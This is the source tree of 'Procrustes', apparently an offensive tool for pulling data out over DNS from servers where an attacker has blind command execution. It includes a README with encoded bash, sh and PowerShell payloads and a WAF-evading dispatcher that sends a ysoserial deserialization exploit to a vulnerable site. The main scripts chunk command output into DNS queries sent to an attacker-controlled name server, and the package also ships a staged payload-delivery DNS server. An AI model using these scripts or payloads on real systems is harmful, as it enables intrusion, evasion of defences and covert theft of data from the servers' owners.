├── Readme.md ├── dispatcher_examples ├── curl_waf.sh ├── local_bash.sh └── local_powershell_wsl2.sh ├── dns_server └── dns_server.py ├── images ├── op.gif └── staged.gif ├── nsconfig_examples ├── nsconf_local.sh └── nsconf_remote.sh ├── procroustes_chunked.sh ├── procroustes_full.sh └── wrapper_targetX.sh /Readme.md: -------------------------------------------------------------------------------- 1 | # Procrustes 2 | 3 | A bash script that automates the exfiltration of data over dns in case we have a blind command execution on a server where all outbound connections except DNS are blocked. The script currently supports sh, bash and powershell and is compatible with exec style command execution (e.g. java.lang.Runtime.exec). 4 | 5 | Unstaged: 6 |

7 | 8 |

9 | 10 | Staged: 11 |

12 | 13 |

14 | 15 | For its operations, the script takes as input the command we want to run on the target server and transforms it according to the target shell in order to allow its output to be exfiltrated over DNS. After the command is transformed, it's fed to the "dispatcher". The dispatcher is a program provided by the user and is responsible for taking as input a command and have it executed on the target server by any means necessary (e.g. exploiting a vulnerability). After the command is executed on the target server, it is expected to trigger DNS requests to our DNS name server containing chunks of our data. The script listens for those requests until the output of the user provided command is fully exfiltrated. 16 | 17 | Below are the supported command transformations, generated for the exfiltration of the command: `ls` 18 | 19 | sh: 20 | ```bash 21 | sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo= 22 | ``` 23 | 24 | bash: 25 | ```bash 26 | bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash 27 | ``` 28 | 29 | powershell: 30 | ```bash 31 | powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA= 32 | ``` 33 | 34 | ## Usage 35 | 1. Local testing for bash: 36 | ```bash 37 | ./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53) 38 | ``` 39 | 40 | 2. Local testing for powershell with WSL2: 41 | ```bash 42 | stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}' 43 | ``` 44 | 45 | 3. powershell example where we ssh into our NS to get the incoming DNS requests. 46 | ```bash 47 | ./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53') 48 | ``` 49 | 50 | 4. More information on the options 51 | ```bash 52 | ./procroustes_chunked.sh --help 53 | ``` 54 | 55 | ### procroustes_chunked vs procroustes_full 56 | 57 | In a nutshell, assuming we want to exfiltrate some data that has to be broken into four chunks in order to be able to be transmitted over DNS: 58 | * procroustes_chunked: calls the dispatcher four times, each time requesting a different chunk from the server. It has relatively small payload size, it's fast and doesn't need any special configuration. 59 | * procroustes_full: calls the dispatcher once, the command that will get executed on the server will be responsible for chunking the data and sending them over. It can have bigger payload size, it's fast (speed can be tuned through the -t parameter) and its speed can be further optimized when the dns_server is running on the name server. 60 | * procroustes_full/staged: same as procroustes_full, but uses a stager to get the command used by procroustes_full to chunk the data. It has the smallest "payload" size but is also the slowest with regards to exfiltration rate since the actual payload is downloaded over DNS. For its operation it requires the creation of an nsconfig script. Note: the nsconfig script should be created only once per name server (and not per target server). 61 | 62 | Some of their differences can also be illustrated through the template commands used for bash: 63 | 64 | procroustes_chunked/bash: 65 | ```bash 66 | %DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST% 67 | ``` 68 | procroustes_full/bash: 69 | ```bash 70 | (%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER% 71 | ``` 72 | procroustes_full/bash/staged: 73 | ```bash 74 | (seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash 75 | ``` 76 | 77 | --------------------------------------- 78 | 79 | 80 | | | procroustes_chunked | procroustes_full | procroustes_full_staged | 81 | | ------------- |:-------------: |:-----: |:-----: | 82 | | payload size overhead (bash/powershell) | 150\*NLABELS/500\*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] | 83 | | dispatcher calls # | #output/(LABEL_SIZE*NLABELS)[2] | 1 | 1 | 84 | | speed (bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3]| 85 | | configuration difficulty | easy | easy+ | medium| 86 | 87 | [1] For the staged version, the command is downloaded through DNS, so the listed size is the total payload size as well. 88 | 89 | [2] On procroustes_chunked, dispatcher is called multiple times and so as the provided command that is supposed to executed on the server (until all its output is exfiltrated). This behavior is not ideal in case the delivery of commands to the server (i.e. by calling the dispatcher) is time/resource intensive. 90 | 91 | It may also cause problems in case the command we are executing on the server is not idempotent (functionality or output-wise, e.g. "ls;rm file") or is time/resource intensive (e.g. find / -name secret). A workaround for this case is to first store the command output to a file (e.g. /tmp/file) and then use the script to read that file. 92 | 93 | [3] In the staged version we have the overhead of the time required to get the actual payload over DNS. It should be noted that the script makes use of A records to get the actual payload. Even though this allows our traffic to blend in better with the regular traffic of the target environment, it offers limited channel capacity (e.g. 4 bytes per request). We could make use of other record types like TXT and minimize the stage download time (close to zero) and the stager size. 94 | 95 | ### Tips 96 | 97 | - You probably want to use this script as little as possible, try to transition to a higher bandwidth channel the soonest possible (e.g. HTTP-webshell) 98 | - In case long text output is expected, you can try compressing it first to speed up the exfil process, e.g. ./procrustes_full.sh ... -o >(setsid gunzip) -- 'ls -lhR / | gzip' 99 | - Another possibility for big/binary files is to copy them to a path which is accessible for example through HTTP 100 | - For increased exfil bandwidth in procrustes_full, run the dns_server on your name server. That way, we avoid waiting for the underlying DNS_TRIGGER to timeout before moving on to a new chunk. 101 | - Ideally, you would have a domain (-h option) with an NS record pointing to a server you control (server where we run tcpdump). Nevertheless, in case the target is allowed to initiate connections to arbitrary DNS servers, this can be avoided by having the DNS trigger explicitly set to use our DNS server (e.g. dig @your_server whatev.er) 102 | 103 | ### Credits 104 | * [Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) - idea of chunking the data on the server. It also performs similar functionalities with this script, so check it out. 105 | * [DNSlivery](https://github.com/no0be/DNSlivery) - modified version of DNSlivery is used as the DNS server -------------------------------------------------------------------------------- /dispatcher_examples/curl_waf.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function urldecode { 4 | plus_sub=' ' 5 | [[ ! -z $1 ]] && plus_sub=+ #by default no translation of + to ' ' 6 | tr "\\\\%${plus_sub}" '%\\ '|sed 's_\\_\\x_g'|xargs -0 printf %b|tr % '\\' 7 | } 8 | 9 | function urlencode { 10 | xxd -p|tr -d '\n'|sed 's/../%&/g' 11 | } 12 | 13 | #an example waf bypass by @irsdl 14 | function enc { 15 | local target_enc 16 | 17 | target_enc=IBM037 18 | [[ ! -z $1 ]] && target_enc=$1 19 | iconv -f UTF-8 -t "$target_enc" 20 | } 21 | 22 | function run_processors { 23 | declare -n procs="${1}" 24 | local data 25 | 26 | IFS= read -r data 27 | for proc in "${procs[@]}";do 28 | data=$(printf %s "${data}"|eval "${proc}") 29 | done 30 | echo "$data" 31 | } 32 | 33 | function param_processor { 34 | local data param param_name param_name_proc param_val param_val_proc 35 | 36 | data="" 37 | while IFS= read -r -d '&' param || [[ ! -z $param ]];do 38 | param_name=${param%%=*} 39 | param_name_proc=$(printf %s "$param_name"|run_processors "${1}") 40 | [[ $param_name == "${param}" ]] && { 41 | data=$(printf '%s&%s' "${data}" "$param_name_proc") 42 | } || { 43 | param_val=${param#"${param_name}="} 44 | param_val_proc=$(printf %s "$param_val"|run_processors "${1}") 45 | data=$(printf '%s&%s=%s' "${data}" "$param_name_proc" "$param_val_proc") 46 | } 47 | done 48 | echo "${data:1}" 49 | } 50 | 51 | read -r cmd 52 | 53 | charset=ibm037 54 | processors=(urldecode "enc '${charset^^}'" urlencode) 55 | params='param1=v%61l%201&state=%PAYLOAD%' 56 | 57 | payload=$(java -jar ysoserial.jar CommonsCollections5 "$cmd"|base64 -w0) 58 | params=${params/"%PAYLOAD%"/"${payload}"} 59 | params_processed=$(printf "%s" "${params}"|param_processor processors) 60 | 61 | curl -i -s -k -H "Content-Type: application/x-www-form-urlencoded; charset=${charset,,}" -d "$params_processed" 'https://vuln_site' -------------------------------------------------------------------------------- /dispatcher_examples/local_bash.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | read -r cmd 3 | $cmd -------------------------------------------------------------------------------- /dispatcher_examples/local_powershell_wsl2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | read -r cmd 4 | /mnt/c/Windows/System32/WindowsPowerShell/v1.0/powershell.exe ${cmd#* } -------------------------------------------------------------------------------- /dns_server/dns_server.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | 3 | ''' 4 | original source: https://github.com/no0be/DNSlivery 5 | axed to chunk by default payload.txt to ipv4 addresses, e.g. AAAA is translated to 65.65.65.65 6 | the command is padded with spaces so as its lenght is congruent to 4 and the final chunk is indicated by the 4.4.4.4 7 | 8 | the digits in the suffix of the first label indicates the chunk that will be delivered e.g. test1.doma.in will deliver the first chunk (1-index based) 9 | all other requests will return 8.8.8.8 (can be used to speed up the data exfiltration in both staged and unstaged versions) 10 | ''' 11 | import sys 12 | import os 13 | import argparse 14 | import signal 15 | import re 16 | import base64 17 | from scapy.all import * 18 | 19 | end_of_transmission_ipv4="4.4.4.4" 20 | 21 | banner = """ 22 | DNSlivery - Easy files and payloads delivery over DNS 23 | """ 24 | 25 | def log(message, msg_type = ''): 26 | reset = '\033[0;m' 27 | 28 | # set default prefix and color 29 | prefix = '[*]' 30 | color = reset 31 | 32 | # change prefix and color based on msg_type 33 | if msg_type == '+': 34 | prefix = '[+]' 35 | color = '\033[1;32m' 36 | elif msg_type == '-': 37 | prefix = '[-]' 38 | color = '\033[1;31m' 39 | elif msg_type == 'debug': 40 | prefix = '[DEBUG]' 41 | color = '\033[0;33m' 42 | 43 | print('%s%s %s%s' % (color, prefix, message, reset)) 44 | 45 | def base64_chunks(clear, size): 46 | encoded = base64.b64encode(clear) 47 | 48 | # split base64 into chunks of provided size 49 | encoded_chunks = [] 50 | for i in range(0, len(encoded), size): 51 | encoded_chunks.append(encoded[i:i + size]) 52 | 53 | return encoded_chunks 54 | 55 | def ipv4_chunks(clear): 56 | return list(map(lambda x: '.'.join(map(lambda y: str(y), x)), zip(*[iter(clear+b" "*3)]*4)))+[end_of_transmission_ipv4] 57 | 58 | 59 | def signal_handler(signal, frame): 60 | log('Exiting...') 61 | sys.exit(0) 62 | 63 | def dns_handler(data): 64 | # only process dns queries 65 | if data.haslayer(UDP) and data.haslayer(DNS) and data.haslayer(DNSQR): 66 | # split packet layers 67 | ip = data.getlayer(IP) 68 | udp = data.getlayer(UDP) 69 | dns = data.getlayer(DNS) 70 | dnsqr = data.getlayer(DNSQR) 71 | 72 | # only process a queries (type 1) 73 | if len(dnsqr.qname) != 0 and dnsqr.qtype == 1: 74 | 75 | try: 76 | if args.verbose: log('Received DNS query for %s from %s' % (dnsqr.qname.decode(), ip.src)) 77 | 78 | # remove domain part of fqdn and split the different parts of hostname 79 | hostname = dnsqr.qname.decode().split('.') 80 | 81 | index_match = re.findall(r'\d+$', hostname[0]) 82 | index = int(index_match[0]) 83 | 84 | if 0payload.txt 6 | python3 dns_server.py -------------------------------------------------------------------------------- /nsconfig_examples/nsconf_remote.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | read -r cmd 4 | cd dns_server 5 | scp -i key dns_server.py user@NAMESERVER: 6 | echo "$cmd"|ssh -i key user@NAMESERVER 'cat>payload.txt;python3 dns_server.py' 7 | -------------------------------------------------------------------------------- /procroustes_chunked.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | nlabels=4 4 | label_size=30 5 | debug=0 6 | shell=bash #bash, sh or powershell 7 | strict_label_charset=1 8 | outfile=/dev/stdout 9 | 10 | trap "setsid kill -2 -- -$(ps -o pgid= $$ | grep -o '[0-9]*')" EXIT 11 | 12 | ########FUNCTION DEFINITIONS############# 13 | function usage { 14 | cat <<-! 15 | Usage: 16 | $0 [OPTION]... -- CMD 17 | 18 | -h HOST The host with an NS record pointing to a name server under our control. This can be a random name in case we control the name server through the DNS_TRIGGER and direct connections to that NS are allowed by the target server (unlikely) 19 | -d DNS_TRIGGER The command that will trigger DNS requests on the external server 20 | -x DISPATCHER Path to the script that will trigger the command execution on the server. 21 | The script should take as argument a command and have it executed on the target server 22 | example: curl https://vulnerable_server --data-urlencode "cmd=${1}" 23 | -n NLABELS=4 The number of labels to use for the data exfiltration. data1.data2...dataN.uid.yourdns.ns 24 | -s LABEL_SIZE=30 The size of each label. len(data1) 25 | -o FILE=stdout The file where the command output will be stored 26 | -w SHELL=bash Supported shells are bash, sh, powershell|ps 27 | -r No encoding of +/= characters before issuing dns requests 28 | -v Verbose mode 29 | 30 | Examples: 31 | stdbuf -oL tcpdump --immediate -l -i any udp port 53|$0 -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' 32 | 33 | $0 -h youdns.ns -w ps -d "Resolve-DnsName" -x ./dispatcher.sh -- 'gci | % {\$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53') 34 | ! 35 | } 36 | 37 | function debug_print { 38 | [[ $debug -ne 0 ]] && echo "$@" 39 | } 40 | 41 | function b64 { 42 | local target_enc="UTF-8" 43 | 44 | [[ $shell == powershell ]] && target_enc=UTF-16LE 45 | if [[ $1 == -d ]]; then 46 | base64 -d 47 | else 48 | iconv -f UTF-8 -t "$target_enc" | base64 -w0 49 | fi 50 | } 51 | 52 | function listen_for { 53 | local data dns_req_host 54 | local postfix="$1" 55 | 56 | while read -u "$dns_data_fd" -r line || [[ -n $line ]]; do 57 | if [[ $line == *"${postfix}"* ]]; then 58 | dns_req_host=$(echo "$line"|grep -Eo "[^ ]+${postfix}") 59 | data=${dns_req_host%${postfix}} 60 | break 61 | fi 62 | done 63 | printf %s $data 64 | } 65 | 66 | function strict_translator { 67 | local data sed_arg 68 | 69 | #we expect one line of data 70 | IFS= read -r data 71 | if [[ $strict_label_charset -eq 1 ]]; then 72 | [[ -z $1 ]] && data=$(echo "$data"|sed "s_+_-1_g; s_/_-2_g; s_=_-3_g") 73 | [[ ! -z $1 ]] && data=$(echo "$data"|sed "s_-1_+_g; s_-2_/_g; s_-3_=_g") 74 | fi 75 | printf %s "$data" 76 | } 77 | 78 | function assign { 79 | [[ $1 == "$shell" ]] && { 80 | declare -g "$2"="$3" 81 | } 82 | } 83 | 84 | #######END OF FUNCTIONS######### 85 | 86 | ######ARGUMENT PROCESSING############ 87 | 88 | [[ $# -eq 0 ]] && { 89 | usage 90 | exit 91 | } 92 | 93 | while [[ $# -gt 0 ]]; do 94 | key="$1" 95 | 96 | case $key in 97 | -h) 98 | dns_host="$2" 99 | shift 100 | shift 101 | ;; 102 | -d) 103 | dns_trigger="$2" 104 | shift 105 | shift 106 | ;; 107 | -n) 108 | nlabels="$2" 109 | shift 110 | shift 111 | ;; 112 | -s) 113 | label_size="$2" 114 | shift 115 | shift 116 | ;; 117 | -x) 118 | dispatcher="$2" 119 | shift 120 | shift 121 | ;; 122 | -o) 123 | outfile="$2" 124 | shift 125 | shift 126 | ;; 127 | -w) 128 | shell="$2" 129 | shift 130 | shift 131 | ;; 132 | -t) 133 | shift 134 | shift 135 | ;; 136 | -m) 137 | shift 138 | shift 139 | ;; 140 | -r|--relaxed) 141 | strict_label_charset=0 142 | shift 143 | ;; 144 | -v|--debug) 145 | debug=1 146 | shift 147 | ;; 148 | --help) 149 | usage 150 | exit 151 | shift 152 | ;; 153 | --) 154 | shift 155 | break 156 | ;; 157 | *) 158 | echo "invalid option $1" 159 | exit 160 | ;; 161 | esac 162 | done 163 | 164 | cmd="$*" 165 | 166 | mandatory_args=(dns_host dns_trigger dispatcher cmd) 167 | for arg in "${mandatory_args[@]}"; do 168 | [[ -z ${!arg} ]] && echo "Missing arg: $arg" && exit 169 | done 170 | 171 | [[ $shell == ps ]] && shell=powershell 172 | 173 | supported_shells=(sh bash bash2 powershell) 174 | [[ -z $(IFS=@;[[ @"${supported_shells[*]}"@ == *@"$shell"@* ]] && echo yes) ]] && { 175 | echo "$shell is not supported" 176 | echo "Currently supported shells: ${supported_shells[*]}" 177 | exit 178 | } 179 | 180 | YELLOW='\033[0;33m' 181 | RED='\033[0;31m' 182 | NC='\033[0m' 183 | printf "${YELLOW}******${shell^^}******${NC}\n" 184 | printf "Dispatcher: ${YELLOW}%s${NC}\n" "$dispatcher" 185 | printf "Base DNS Host: ${YELLOW}%s${NC}\n" "$dns_host" 186 | printf "DNS Trigger Command: ${YELLOW}%s${NC}\n" "$dns_trigger" 187 | printf "Number of labels and label size: ${YELLOW}${nlabels}x${label_size}${NC}\n" 188 | [[ ! -x $dispatcher ]] && printf "${RED}Dispatcher file is not executable${NC}\n" 189 | [[ $strict_label_charset -ne 1 && $shell == powershell ]] && printf "${RED}Windows+Strict Label Charset OFF=?${NC}\n" 190 | [[ -t 0 ]] && printf "${RED}NS DNS data are expected through stdin, check usage examples${NC}\n" 191 | 192 | ##########END OF ARGUMENT PROCESSING############# 193 | 194 | ##########sh definitions####### 195 | assign sh outer_cmd_template 'sh -c $@|base64${IFS}-d|sh . echo %CMD_B64%' 196 | 197 | assign sh innerdns_cmd_template ' %dns_trigger% %USER_CMD%.%STAGE_ID%%UNIQUE_DNS_HOST%' 198 | 199 | assign sh user_cmd_template "\`(${cmd})|base64 -w0|cut -b\$((%INDEX%+1))-\$((%INDEX%+%COUNT%))\`" 200 | [[ $strict_label_charset -eq 1 ]] && { 201 | assign sh user_cmd_template "\`(${cmd})|base64 -w0|cut -b\$((%INDEX%+1))-\$((%INDEX%+%COUNT%))|sed 's_+_-1_g; s_/_-2_g; s_=_-3_g'\`" 202 | } 203 | 204 | assign sh user_cmd_out_len "\`(${cmd})|base64 -w0|wc -c\`" 205 | assign sh user_cmd_sep . 206 | ##########bash definitions####### 207 | assign bash outer_cmd_template 'bash -c {echo,%CMD_B64%}|{base64,-d}|bash' 208 | 209 | assign bash innerdns_cmd_template ' %dns_trigger% %USER_CMD%.%STAGE_ID%%UNIQUE_DNS_HOST%' 210 | 211 | assign bash user_cmd_template "\`(${cmd})|base64 -w0|{ read -r c;printf \${c:%INDEX%:%COUNT%}; }\`" 212 | [[ $strict_label_charset -eq 1 ]] && { 213 | assign bash user_cmd_template "\`(${cmd})|base64 -w0|{ read -r c;printf \${c:%INDEX%:%COUNT%}; }|sed 's_+_-1_g; s_/_-2_g; s_=_-3_g'\`" 214 | } 215 | 216 | assign bash user_cmd_out_len "\`(${cmd})|base64 -w0|wc -c\`" 217 | assign bash user_cmd_sep . 218 | 219 | ###########powershell definitions######## 220 | 221 | assign powershell outer_cmd_template "powershell -enc %CMD_B64%" 222 | 223 | assign powershell innerdns_cmd_template '%dns_trigger% $("{0}.{1}{2}" -f (%USER_CMD%),"%STAGE_ID%","%UNIQUE_DNS_HOST%")' 224 | #assign powershell innerdns_cmd_template '(1..5)|%{%dns_trigger% $("{0}.{1}{2}" -f (%USER_CMD%),"%STAGE_ID%","%UNIQUE_DNS_HOST%")}' 225 | 226 | assign powershell user_cmd_template "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd}))).Substring(%INDEX%,%COUNT%)" 227 | [[ $strict_label_charset -eq 1 ]] && { 228 | assign powershell user_cmd_template "([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd}))).Substring(%INDEX%,%COUNT%) -replace '\+','-1' -replace '/','-2' -replace '=','-3')" 229 | } 230 | 231 | assign powershell user_cmd_out_len "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd}))).length" 232 | assign powershell user_cmd_sep '+"."+' 233 | 234 | #######end of definitions########### 235 | 236 | #definitions sanity check 237 | vars=(outer_cmd_template innerdns_cmd_template user_cmd_template user_cmd_out_len user_cmd_sep) 238 | for var in "${vars[@]}"; do 239 | [[ -z ${!var} ]] && echo "Undeclared var: $var" && exit 240 | done 241 | 242 | #####MAIN########### 243 | exec {dns_data_fd}<&0 244 | exec 0/dev/null 2>&1 & 265 | cmd_out_len=$(listen_for ".len${unique_dns_host}") 266 | 267 | [[ -z $cmd_out_len ]] && { 268 | echo "Failed to get the output length, verify that we can listen to DNS traffic" 269 | exit 270 | } 271 | 272 | echo "The command output length is: $cmd_out_len" 273 | 274 | #extracting the command output 275 | pre_innerdns_cmd=${innerdns_cmd_template} 276 | pre_innerdns_cmd=${pre_innerdns_cmd//'%dns_trigger%'/$dns_trigger} 277 | pre_innerdns_cmd=${pre_innerdns_cmd//'%UNIQUE_DNS_HOST%'/$unique_dns_host} 278 | cmd_out="" 279 | for ((index_base=0;index_base<${cmd_out_len};index_base+=${nlabels}*${label_size}));do 280 | innerdns_cmd=${pre_innerdns_cmd//'%STAGE_ID%'/iter${index_base}} 281 | for index in `seq $((index_base)) ${label_size} $((index_base+(nlabels-1)*label_size))`;do 282 | [[ $index -ge $cmd_out_len ]] && break 283 | count=$(((cmd_out_len-index)>label_size?label_size:cmd_out_len-index)) 284 | user_cmd=${user_cmd_template//'%INDEX%'/${index}} 285 | user_cmd=${user_cmd//'%COUNT%'/${count}} 286 | innerdns_cmd=${innerdns_cmd//'%USER_CMD%'/${user_cmd}${user_cmd_sep}'%USER_CMD%'} 287 | done 288 | innerdns_cmd=${innerdns_cmd//${user_cmd_sep}'%USER_CMD%'} 289 | debug_print "$innerdns_cmd" 290 | 291 | cmd_b64=$(echo "$innerdns_cmd"|b64) 292 | debug_print "cmd_b64=$cmd_b64" 293 | 294 | outer_cmd=${outer_cmd_template//'%CMD_B64%'/$cmd_b64} 295 | debug_print "outer_cmd[${#outer_cmd}]=$outer_cmd" 296 | 297 | echo "$outer_cmd"|"$dispatcher" >/dev/null 2>&1 & 298 | data=$(listen_for ".iter${index_base}${unique_dns_host}") 299 | debug_print "data for index_base=${index_base}: $data" 300 | 301 | cmd_out="${cmd_out}${data}" 302 | debug_print "$cmd_out" 303 | printf "\r[$index_base/$cmd_out_len]" 304 | done && echo 305 | 306 | echo "$cmd_out" | tr -d . | strict_translator -d | b64 -d >> "$outfile" 307 | echo 308 | -------------------------------------------------------------------------------- /procroustes_full.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | nlabels=4 4 | label_size=30 5 | debug=0 6 | shell=bash #bash, sh or powershell 7 | strict_label_charset=1 8 | outfile=/dev/stdout 9 | timeout=20 10 | threads=5 11 | 12 | trap "setsid kill -2 -- -$(ps -o pgid= $$ | grep -o '[0-9]*')" EXIT 13 | 14 | ########FUNCTION DEFINITIONS############# 15 | function usage { 16 | cat <<-! 17 | Usage: 18 | $0 [OPTION]... -- CMD 19 | 20 | -h HOST The host with an NS record pointing to a name server under our control. This can be a random name in case we control the name server through the DNS_TRIGGER and direct connections to that NS are allowed by the target server (unlikely) 21 | -d DNS_TRIGGER The command that will trigger DNS requests on the external server 22 | -x DISPATCHER Path to the script that will trigger the command execution on the server. 23 | The script should take as argument a command and have it executed on the target server 24 | example: curl https://vulnerable_server --data-urlencode "cmd=${1}" 25 | -n NLABELS=4 The number of labels to use for the data exfiltration. data1.data2...dataN.uid.yourdns.ns 26 | -s LABEL_SIZE=30 The size of each label. len(data1) 27 | -o FILE=stdout The file where the command output will be stored 28 | -w SHELL=bash Supported shells are bash, sh, powershell|ps 29 | -m TIMEOUT=10 Seconds after which the script exits when no new data are received 30 | -t THREADS=10 Number of threads/processes to use when extracting the data (i.e. #DISPATCHER instances) 31 | -r No encoding of +/= characters before issuing dns requests 32 | -v Verbose mode 33 | 34 | Staged Mode: 35 | -z NSCONFIG The path to the script that will have dnslivery running 36 | -k S_DNS_CMD The command used within the stager to get the DNS data, defaults to: 37 | sh/bash: dig %host% +short 38 | powershell: Resolve-DnsName -ty a %host%|? Section -eq Answer|Select -Exp IPAddress 39 | The %host% is replaced later by the script with the actual host used for the DNS resolution 40 | 41 | Examples: 42 | stdbuf -oL tcpdump --immediate -l -i any udp port 53|$0 -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' 43 | 44 | $0 -h youdns.ns -w ps -d "Resolve-DnsName" -x ./dispatcher.sh -- 'gci | % {\$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53') 45 | ! 46 | } 47 | 48 | function debug_print { 49 | [[ $debug -ne 0 ]] && echo "$@" 50 | } 51 | 52 | function b64 { 53 | local target_enc="UTF-8" 54 | 55 | [[ $shell == powershell ]] && target_enc=UTF-16LE 56 | if [[ $1 == -d ]]; then 57 | base64 -d 58 | else 59 | iconv -f UTF-8 -t "$target_enc" | base64 -w0 60 | fi 61 | } 62 | 63 | function strict_translator { 64 | local data sed_arg 65 | 66 | #we expect one line of data 67 | IFS= read -r data 68 | if [[ $strict_label_charset -eq 1 ]]; then 69 | [[ -z $1 ]] && data=$(echo "$data"|sed "s_+_-1_g; s_/_-2_g; s_=_-3_g") 70 | [[ ! -z $1 ]] && data=$(echo "$data"|sed "s_-1_+_g; s_-2_/_g; s_-3_=_g; s_--__g") 71 | fi 72 | printf %s "$data" 73 | } 74 | 75 | function assign { 76 | [[ $1 == "$shell" ]] && { 77 | declare -g "$2"="$3" 78 | } 79 | } 80 | 81 | #######END OF FUNCTIONS######### 82 | 83 | ######ARGUMENT PROCESSING############ 84 | 85 | [[ $# -eq 0 ]] && { 86 | usage 87 | exit 88 | } 89 | 90 | while [[ $# -gt 0 ]]; do 91 | key="$1" 92 | 93 | case $key in 94 | -h) 95 | dns_host="$2" 96 | shift 97 | shift 98 | ;; 99 | -d) 100 | dns_trigger="$2" 101 | shift 102 | shift 103 | ;; 104 | -n) 105 | nlabels="$2" 106 | shift 107 | shift 108 | ;; 109 | -s) 110 | label_size="$2" 111 | shift 112 | shift 113 | ;; 114 | -x) 115 | dispatcher="$2" 116 | shift 117 | shift 118 | ;; 119 | -z) 120 | nsconfig="$2" 121 | shift 122 | shift 123 | ;; 124 | -o) 125 | outfile="$2" 126 | shift 127 | shift 128 | ;; 129 | -w) 130 | shell="$2" 131 | shift 132 | shift 133 | ;; 134 | -t) 135 | threads="$2" 136 | shift 137 | shift 138 | ;; 139 | -k) 140 | user_s_dns_cmd="$2" 141 | shift 142 | shift 143 | ;; 144 | -m) 145 | timeout="$2" 146 | shift 147 | shift 148 | ;; 149 | -r|--relaxed) 150 | strict_label_charset=0 151 | shift 152 | ;; 153 | -v|--debug) 154 | debug=1 155 | shift 156 | ;; 157 | --help) 158 | usage 159 | exit 160 | shift 161 | ;; 162 | --) 163 | shift 164 | break 165 | ;; 166 | *) 167 | echo "invalid option $1" 168 | exit 169 | ;; 170 | esac 171 | done 172 | 173 | cmd="$*" 174 | 175 | mandatory_args=(dns_host dns_trigger dispatcher cmd) 176 | for arg in "${mandatory_args[@]}"; do 177 | [[ -z ${!arg} ]] && echo "Missing arg: $arg" && exit 178 | done 179 | 180 | [[ $shell == ps ]] && shell=powershell 181 | 182 | supported_shells=(sh bash bash2 powershell) 183 | [[ -z $(IFS=@;[[ @"${supported_shells[*]}"@ == *@"$shell"@* ]] && echo yes) ]] && { 184 | echo "$shell is not supported" 185 | echo "Currently supported shells: ${supported_shells[*]}" 186 | exit 187 | } 188 | 189 | YELLOW='\033[0;33m' 190 | RED='\033[0;31m' 191 | NC='\033[0m' 192 | printf "${YELLOW}******${shell^^}******${NC}\n" 193 | printf "Dispatcher: ${YELLOW}%s${NC}\n" "$dispatcher" 194 | printf "Base DNS Host: ${YELLOW}%s${NC}\n" "$dns_host" 195 | printf "DNS Trigger Command: ${YELLOW}%s${NC}\n" "$dns_trigger" 196 | printf "Number of labels and label size: ${YELLOW}${nlabels}x${label_size}${NC}\n" 197 | printf "Number of remote threads: ${YELLOW}${threads}${NC}\n" 198 | printf "Timeout: ${YELLOW}${timeout}${NC}\n" 199 | [[ ! -x $dispatcher ]] && printf "${RED}Dispatcher file is not executable${NC}\n" 200 | [[ ! -z $nsconfig && ! -x $nsconfig ]] && printf "${RED}NS configuration file is not executable${NC}\n" 201 | [[ $strict_label_charset -ne 1 && $shell == powershell ]] && printf "${RED}Windows+Strict Label Charset OFF=?${NC}\n" 202 | [[ -t 